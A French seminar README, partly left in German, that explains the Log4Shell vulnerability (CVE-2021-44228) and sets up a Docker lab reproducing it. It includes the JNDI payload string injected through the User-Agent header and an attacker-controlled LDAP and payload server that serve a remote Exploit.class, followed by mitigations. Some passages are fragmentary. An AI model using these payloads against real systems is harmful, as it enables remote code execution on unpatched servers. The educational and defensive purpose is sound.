
Démonstration pratique de la vulnérabilité Log4Shell (CVE-2021-44228)
Ce dépôt sert exclusivement à des fins éducatives et de démonstration dans le cadre d'un travail de séminaire lié à la sécurité. N'utilisez pas ce code dans des environnements de production ou contre des systèmes sans autorisation explicite. La configuration vise à renforcer la sensibilisation à la sécurité et à montrer comment des vulnérabilités complexes peuvent apparaître lorsque des fonctionnalités apparemment inoffensives comme la journalisation, la résolution de noms et le chargement dynamique de classes sont combinées.
L'objectif de ce travail de séminaire est de fournir une compréhension approfondie de la faille de sécurité Log4Shell (CVE-2021-44228), révélée en décembre 2021 et classée parmi les failles de sécurité les plus critiques de ces dernières années. Ce travail explique à la fois les bases théoriques et présente une démonstration pratique de la vulnérabilité.
Pour illustrer concrètement la faille de sécurité Log4Shell, ce dépôt met en place un environnement isolé et conteneurisé qui reproduit de manière reproductible le déroulement complet de l'attaque. La démonstration repose sur trois composants centraux :
User-Agent de la requête HTTP, que les attaquants peuvent manipuler pour exploiter la vulnérabilité.Exploit.class). Comme le serveur LDAP, ce serveur est sous le contrôle de l'attaquant.Remarque : Des informations détaillées sur la configuration et l'exécution de la démonstration se trouvent dans les sections 4. Structure du projet et configuration et 5. Démo du projet.
Log4Shell est le nom d'une faille de sécurité critique dans la bibliothèque Java Log4j, portant la référence CVE-2021-44228. Elle permet à un attaquant d'exécuter du code arbitraire sur un serveur distant avec un effort minimal (Remote Code Execution, ou RCE).
La vulnérabilité affecte Log4j dans les versions 2.0 à 2.14.1 et est si grave qu'elle a été classée au niveau de risque le plus élevé par de nombreuses autorités de sécurité, dont le BSI (Office fédéral allemand de la sécurité des technologies de l'information).
Log4Shell est particulièrement dangereuse car ...
La cause fondamentale réside dans une fonctionnalité de Log4j qui permet de charger des contenus dynamiques dans les messages de journal via ce que l'on appelle des lookups. Combinée à JNDI (Java Naming and Directory Interface) et au protocole LDAP (Lightweight Directory Access Protocol), cette fonctionnalité permet de charger et d'exécuter des classes Java malveillantes distantes.
La découverte et la publication de la vulnérabilité ont déclenché une onde de choc mondiale en matière de sécurité. De nombreux systèmes ont dû être immédiatement patchés ou mis hors ligne. Par la suite, d'autres vulnérabilités connexes (par ex. CVE-2021-45046) ont été révélées, ce qui montre à quel point le problème était profond et dangereux.
Dans ce qui suit, les technologies impliquées et leur interaction sont expliquées en détail afin de développer une meilleure compréhension de la vulnérabilité.
Log4j est une bibliothèque créée par Apache pour journaliser les événements dans les applications Java. La journalisation est un outil central du développement logiciel pour surveiller les systèmes ou analyser les erreurs. Log4j est l'un des frameworks de journalisation les plus connus et les plus utilisés de l'écosystème Java, employé aussi bien dans de petites applications que dans de grands systèmes d'entreprise.
Lorsqu'un programme s'exécute, les événements suivants se produisent par exemple :
Ces événements peuvent être documentés à l'aide de journaux (logs), généralement sous forme de sortie texte dans la console, dans des fichiers ou via des protocoles réseau vers des serveurs de logs centraux. Grâce à une journalisation judicieuse, il est possible de retracer ce qu'une application a fait et à quel moment.
Log4j offre une infrastructure flexible et hautement configurable pour la génération et le traitement des messages de journal. Parmi les fonctions centrales figurent :
DEBUG, INFO, WARN, ERROR) qui permettent de contrôler le niveau de détail de la journalisation.D'autres fonctionnalités pertinentes pour ce travail de séminaire sont traitées dans les sections suivantes, notamment la fonctionnalité de placeholders et la fonctionnalité de lookup.
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
Dans cet exemple simple, une instance de logger est créée ou récupérée si elle existe déjà. Ensuite, un message de journal est émis au niveau `INFO`. Log4j se charge du formatage et de la sortie du message, en fonction de la configuration. Un exemple de configuration pourrait ressembler à ceci :```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Cette configuration définit un appender qui affiche les messages de journal au format Datum Uhrzeit Log-Level Loggername - Nachricht sur la console. Cet appender est ensuite assigné au logger racine, qui traite tous les messages de journal à partir du niveau INFO.
La sortie pourrait alors ressembler à ceci :``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Passons maintenant aux fonctionnalités spécifiques de Log4j les plus pertinentes pour la vulnérabilité Log4Shell.
#### Placeholders dans les messages de log
Une fonctionnalité particulièrement utile de Log4j est la prise en charge des **placeholders** dans les messages de log. Ainsi, du contenu dynamique peut être inséré dans la sortie de log au moment de l'exécution :```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
Lors de l'exécution, {} est remplacé par la valeur réelle de la variable username.
Cela donne la sortie suivante :```text
"Benutzer angemeldet: Alice"
#### Expressions dynamiques appelées lookups
En plus des simples espaces réservés, Log4j offre également la possibilité de résoudre des expressions plus complexes directement dans le message de journal. Cette fonction s'appelle **Lookup** : elle permet d'insérer dynamiquement des valeurs à l'exécution (par ex. variables d'environnement, informations système ou valeurs de configuration).
Exemples de telles expressions dynamiques :
- `${env:HOME}` - renvoie la valeur de la variable d'environnement `HOME`. Sous Linux / macOS, ce serait par ex. `/home/username`.
- `${docker:...}` - pourrait fournir des informations sur le conteneur Docker dans lequel l'application s'exécute.
- `${jndi:...}` - effectue une recherche JNDI pour charger des ressources internes ou externes.
Dans la section suivante, la fonctionnalité JNDI sera examinée plus en détail, car elle joue un rôle central dans la vulnérabilité Log4Shell.
### 3.2 JNDI - Mécanisme de lookup
**JNDI** signifie _Java Naming and Directory Interface_ et est une API Java standardisée qui permet d'accéder à des **services de nommage et d'annuaire**. Avec JNDI, les applications Java peuvent référencer des ressources non pas directement via des chemins techniques, mais via des noms symboliques.
Un usage classique de JNDI est la recherche de connexions à une base de données, que vous voyez ici :```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
Zuerst wird ein InitialContext erstellt, der den Einstiegspunkt für die Namensauflösung mithilfe von JNDI darstellt. Anschließend wird über die Methode lookup eine Ressource gesucht. In diesem Fall eine Datenquelle (DataSource) mit dem symbolischen Namen java:/comp/env/jdbc/myDB.

Die Java-Anwendung nutzt die protokollunabhängige Schnittstelle von JNDI, diese enthält Klassen wie InitialContext, mit der Methode lookup. Die API ist immer gleich, egal ob man LDAP, DNS, usw. verwendet. Der Naming Manager fungiert als Vermittler und wählt den passenden Service Provider aus, der die eigentliche Kommunikation übernimmt. Beim JNDI SPI (Service Provider Interface) handelt es sich um eine Sammlung von Klassen, die die JNDI-Funktionalität für verschiedene Protokolle implementieren. In unserem Fall ist der relevante Service Provider LDAP.
Im nächsten Abschnitt schauen wir den Service Provider LDAP genauer an.
LDAP steht für Lightweight Directory Access Protocol und ist ein standardisiertes Netzwerkprotokoll, das den Zugriff auf sogenannte Verzeichnisdienste ermöglicht. Es wurde ursprünglich als schlanke Alternative zu X.500 entwickelt und ist heute ein Standard in vielen Unternehmensnetzwerken, besonders für zentrale Benutzer- und Rechteverwaltung.
Ein Verzeichnisdienst ist eine strukturierte Datenbank, die Informationen in hierarchischer Form speichert. Anders als relationale Datenbanken ist ein Verzeichnis:

Wie man auf dem Bild sieht, ist ein LDAP-Verzeichnis in einer baumartigen Struktur organisiert. Auf der Root-Ebene befinden sich die Domain Components (dc). Darunter können Organizational Units (ou) liegen, die weitere Unterteilungen darstellen, wie zum Beispiel Users. Für einzelne Benutzer oder Objekte gibt es dann Common Names (cn), die den spezifischen Eintrag identifizieren und verschiedene Attribute enthalten können.
Bedeutung:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common NameSchauen wir uns nun an, wie LDAP angesprochen wird und welche Rolle es in der Log4Shell-Sicherheitslücke spielt.
Man kann in LDAP auch Referenzen auf externe Klassen speichern, die dann bei Bedarf nachgeladen werden können. Dies geschieht über spezielle Attribute wie javaClassName und javaCodeBase. Diese Attribute können auf eine URL verweisen, von der eine Java-Klasse geladen werden soll.
Mit der folgenden URL können wir beispielsweise ein Objekt abfragen, das auf eine Java-Klasse verweist:``` ldap://ldap-server:1389/Exploit

Comme on peut le voir sur l'image, l'entrée LDAP contient un attribut `javaClassName` qui fait référence à la classe `Exploit`. L'attribut `javaCodeBase` spécifie l'URL à partir de laquelle la classe doit être chargée. Dans ce cas, il s'agit d'un serveur HTTP à l'adresse `http://payload-server/`, qui fournit la classe `Exploit.class`.
Nous avons maintenant examiné en détail toutes les composantes techniques. La section suivante décrit le déroulement général de la vulnérabilité Log4Shell, afin de comprendre comment ces technologies interagissent et quel vecteur d'attaque en résulte.
### 3.4 Déroulement général de Log4Shell
Après avoir examiné individuellement les trois technologies impliquées — **Log4j** comme framework de journalisation, **JNDI** comme interface de service d'annuaire et **LDAP** comme service d'annuaire concret — on comprend à quel point leur combinaison peut être dangereuse si aucune mesure de sécurité n'a été prise.
Dans les versions de Log4j jusqu'à 2.14.1, il était possible de faire évaluer des **Lookups** directement dans les messages de journal. Cela permettait d'intégrer des requêtes JNDI via LDAP, qui pouvaient ensuite charger et exécuter des classes Java arbitraires depuis un serveur distant, sans avoir explicitement activé cette fonctionnalité.
#### Scénario concret en interaction :
Mettons maintenant en pratique ce que nous venons d'apprendre dans un exemple concret. Dans un premier temps, nous lançons un lookup JNDI avec l'expression suivante :```text
${jndi:...}
Utilisons maintenant le fournisseur de services LDAP pour charger une classe Java distante ldap://ldap-server:1389/Exploit. L'ensemble donne la chaîne de caractères suivante :```text
${jndi:ldap://ldap-server:1389/Exploit}
Il ne reste plus qu'à un attaquant de faire en sorte que cette chaîne de caractères aboutisse dans un message de journal (log), par exemple en manipulant un en-tête HTTP.

Comme on le voit sur l'image, l'attaquant se trouve à gauche, hébergeant son propre serveur LDAP et son serveur de payload. À droite se trouve l'application vulnérable avec Log4j version 2.14.1. Le déroulement de l'attaque est le suivant :
1. Un attaquant envoie une requête HTTP à l'application et insère la chaîne manipulée montrée ci-dessus, par exemple dans l'en-tête `User-Agent` : ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent : ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
Log4j détecte ${jndi:...} et exécute automatiquement un JNDI-Lookup via le protocole ldap spécifié
Le fournisseur de services LDAP est ensuite appelé pour résoudre l’URL spécifiée ldap://ldap-server:1389/Exploit.
Le serveur LDAP répond avec une référence à une classe Java (Exploit.class) externe, qui se trouve sur le serveur suivant : ```
http://payload-server:8000/Exploit.class
L'application envoie une requête au serveur de payload pour charger Exploit.class.
Le serveur de payload répond avec la classe Java Exploit.class. Ensuite, cette classe est exécutée sans aucune validation. L'attaquant a ainsi un contrôle total sur le code exécuté sur le serveur vulnérable.
Parce que :
L'interaction entre les lookups dynamiques dans Log4j, la résolution flexible de noms via JNDI et le protocole LDAP crée une surface d'attaque inattendue. Ce qui était à l'origine conçu comme une fonctionnalité de configuration puissante est devenu une porte d'entrée pour l'exécution de code à distance.
La section suivante décrit la structure du projet et la configuration de la démo pour exécuter la vulnérabilité localement.
La structure du projet reflète les trois composants centraux :```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 Prérequis
Pour exécuter la démo Log4Shell localement, les prérequis suivants sont nécessaires :
#### Docker & Docker Compose
Toute l'infrastructure est basée sur des conteneurs. Docker garantit que chaque composant (vulnerable-app, ldap-server, payload-server) s'exécute dans un environnement isolé.
- **Docker** :
Installation via [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (déjà inclus avec Docker Desktop)
Alternative installable via [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
Pour exécuter l'attaque depuis la ligne de commande, l'outil `curl` peut être utilisé :
- Déjà préinstallé sur Linux/macOS
- Sous Windows via [https://curl.se/](https://curl.se/) ou inclus dans Git Bash
> **Remarque :** L'application et tous les serveurs inclus s'exécutent localement sur votre machine et communiquent uniquement au sein d'un réseau Docker isolé (`log4shell-network`). Aucune connexion à des serveurs externes n'est nécessaire ni établie.
### 4.3 Mise en place
Cette section décrit comment configurer et démarrer l'environnement localement.
#### Étape 1 : Cloner le dépôt```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
Avec Docker Compose, tous les services requis peuvent être démarrés avec une seule commande :```bash docker-compose up --build
`docker-compose up --build` effectue :
- Les images pour `vulnerable_app`, `ldap_server` et `payload_server` sont construites
- Les trois services sont démarrés
- Ils communiquent via un réseau Docker interne commun (`log4shell-network`)
Après un démarrage réussi, l'application est accessible via le point de terminaison suivant :```
http://localhost:8080
Log-Ausgaben und Ereignisse erscheinen live in der Konsole. Die Container laufen, solange das Terminalfenster geöffnet ist (oder der Prozess im Hintergrund läuft).
Remarque : Assurez-vous qu’aucun autre service n’écoute sur les ports 8080, 1389 ou 8000 afin d’éviter tout conflit.
Si vous souhaitez arrêter les conteneurs, vous pouvez exécuter
docker-compose down. Cela arrêtera et supprimera tous les conteneurs en cours d’exécution, mais les images seront conservées.
Cette section montre comment déclencher intentionnellement la vulnérabilité Log4Shell dans l’environnement de démonstration fourni. Tous les composants démarrés précédemment travaillent ensemble :
User-Agent avec Log4jExploit.class)Pour exécuter la démo, vous avez besoin de deux fenêtres de console. Commencez par démarrer l’environnement avec docker-compose up --build dans un terminal, si ce n’est pas déjà fait. Dans un deuxième terminal, exécutez ensuite les étapes suivantes :
Vérifiez que le fichier n’existe pas encore :
Comme il s’agit d’une démo, l’exploit se contente de créer un fichier vide pour démontrer l’exécution réussie. Vous pouvez le constater dans la classe payload-server/Exploit.java. Pour vérifier que le fichier n’existe pas encore, exécutez la commande suivante : ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Si le fichier n'existe pas, un message d'erreur tel que No such file or directory devrait apparaître. Cela confirme que l'exploit n'a pas encore été exécuté.
Explication du payload :
${jndi:...} : Log4j interprète automatiquement cette expression et effectue une recherche JNDI.ldap://ldap-server:1389 : Se connecte au serveur LDAP qui s'exécute dans le réseau Docker./Exploit : Nom de l'entrée LDAP qui pointe vers la classe malveillante.http://localhost:8080 : L'URL de l'application vulnérable à laquelle vous envoyez la requête pour déclencher la vulnérabilité Log4j.Que se passe-t-il en arrière-plan ?

User-AgentUser-Agent et effectue une recherche JNDI via LDAPExploit.class distante fournie par le serveur de payloadRemarque : Comme déjà mentionné, cette démo crée simplement un fichier vide pour démontrer l'exécution réussie. Dans de vrais scénarios d'attaque, du code arbitraire pourrait être exécuté !
Vérifier les conséquences de l'attaque
Vous pouvez maintenant vérifier à nouveau si le fichier /tmp/remote_code_execution a été créé dans le conteneur : ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Si l'attaque a réussi, vous devriez voir la sortie suivante : ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
Avec une seule ligne de journal manipulée, un processus complet d'exécution de code à distance est déclenché, c'est exactement ce qui rend Log4Shell si dangereux. Cette démo montre comment l'interaction de **Log4j**, **JNDI** et **LDAP** peut mener à l'exploitation.
## 6. Mesures de protection
La vulnérabilité Log4Shell a montré à quel point les applications modernes peuvent être compromises par des fonctionnalités apparemment inoffensives. Pour protéger efficacement les systèmes contre de telles attaques, les mesures suivantes devraient être mises en œuvre :
- **Mettre à jour la version de Log4j (au moins 2.17.1)**
La mesure la plus importante est la **mise à niveau vers une version de Log4j ≥ 2.17.1**, car ce n'est qu'à partir de cette version que toutes les vulnérabilités connues (y compris les DoS et les exploits de configuration) ont été corrigées. Les versions antérieures restent vulnérables et ne devraient plus être utilisées !
- **Désactiver les recherches JNDI**
Si une mise à jour complète n'est pas possible, les **recherches JNDI devraient être désactivées**. Cela peut être réalisé dans le fichier `log4j2.properties` en définissant la configuration suivante : ```properties
log4j2.formatMsgNoLookups=true
Cette configuration empêche Log4j d’évaluer les recherches JNDI dans les messages de journal. Cela réduit considérablement la surface d’attaque. Cependant, il ne s’agit que d’un contournement temporaire, car d’autres vulnérabilités peuvent subsister (DoS, exploits de configuration).
Valider les entrées
Toutes les entrées utilisateur doivent être validées et assainies avant d’être utilisées dans les messages de journal. En particulier, les expressions dynamiques telles que ${jndi:...} ne doivent pas être reprises directement.
Restreindre les connexions réseau sortantes
Un élément central de l’exploit était l’accès sans entrave à des serveurs externes contrôlés par l’attaquant. Les systèmes doivent être configurés pour ne pas pouvoir atteindre n’importe quelle cible externe, par exemple via des pare-feu ou des politiques réseau. En particulier, l’accès à des cibles LDAP inconnues depuis l’application doit être bloqué.
La faille de sécurité Log4Shell montre de manière impressionnante combien il est important de ne pas se fier uniquement à la sécurité de son propre code, mais aussi de choisir et de comprendre soigneusement les bibliothèques et frameworks utilisés. Dans ce cas, une bibliothèque de journalisation apparemment inoffensive (Log4j) a conduit à une vulnérabilité d’exécution de code à distance. On voit ainsi que les dépendances peuvent également devenir une porte d’entrée pour des exploits. Il faut toujours se demander si l’on a réellement besoin d’une bibliothèque externe ou si une fonction peut être implémentée sans dépendances supplémentaires.
Un autre point important est le thème de la complexité cachée. Des fonctions comme ${env:HOME} dans un message de journal semblent inoffensives, mais cachent des mécanismes complexes en arrière-plan, comme les recherches dynamiques. Cela peut introduire insidieusement un comportement dangereux. Il est préférable d’utiliser des solutions explicites et transparentes, par exemple System.getenv("HOME"), afin de garder le contrôle et de pouvoir comprendre ce qui se passe.
De plus, un principe général mais souvent négligé s’applique : Ne jamais traiter des entrées utilisateur sans les vérifier. En particulier pour les opérations sensibles à la sécurité comme la journalisation, les accès à la base de données ou les commandes système, les entrées doivent être validées et assainies.
Enfin, cet incident montre à quel point il peut être dangereux que des fonctions puissantes comme les recherches JNDI soient activées par défaut. Si cette fonction n’avait pas été activée par défaut dans Log4j, seule une petite partie des systèmes aurait été concernée.
Les principaux enseignements :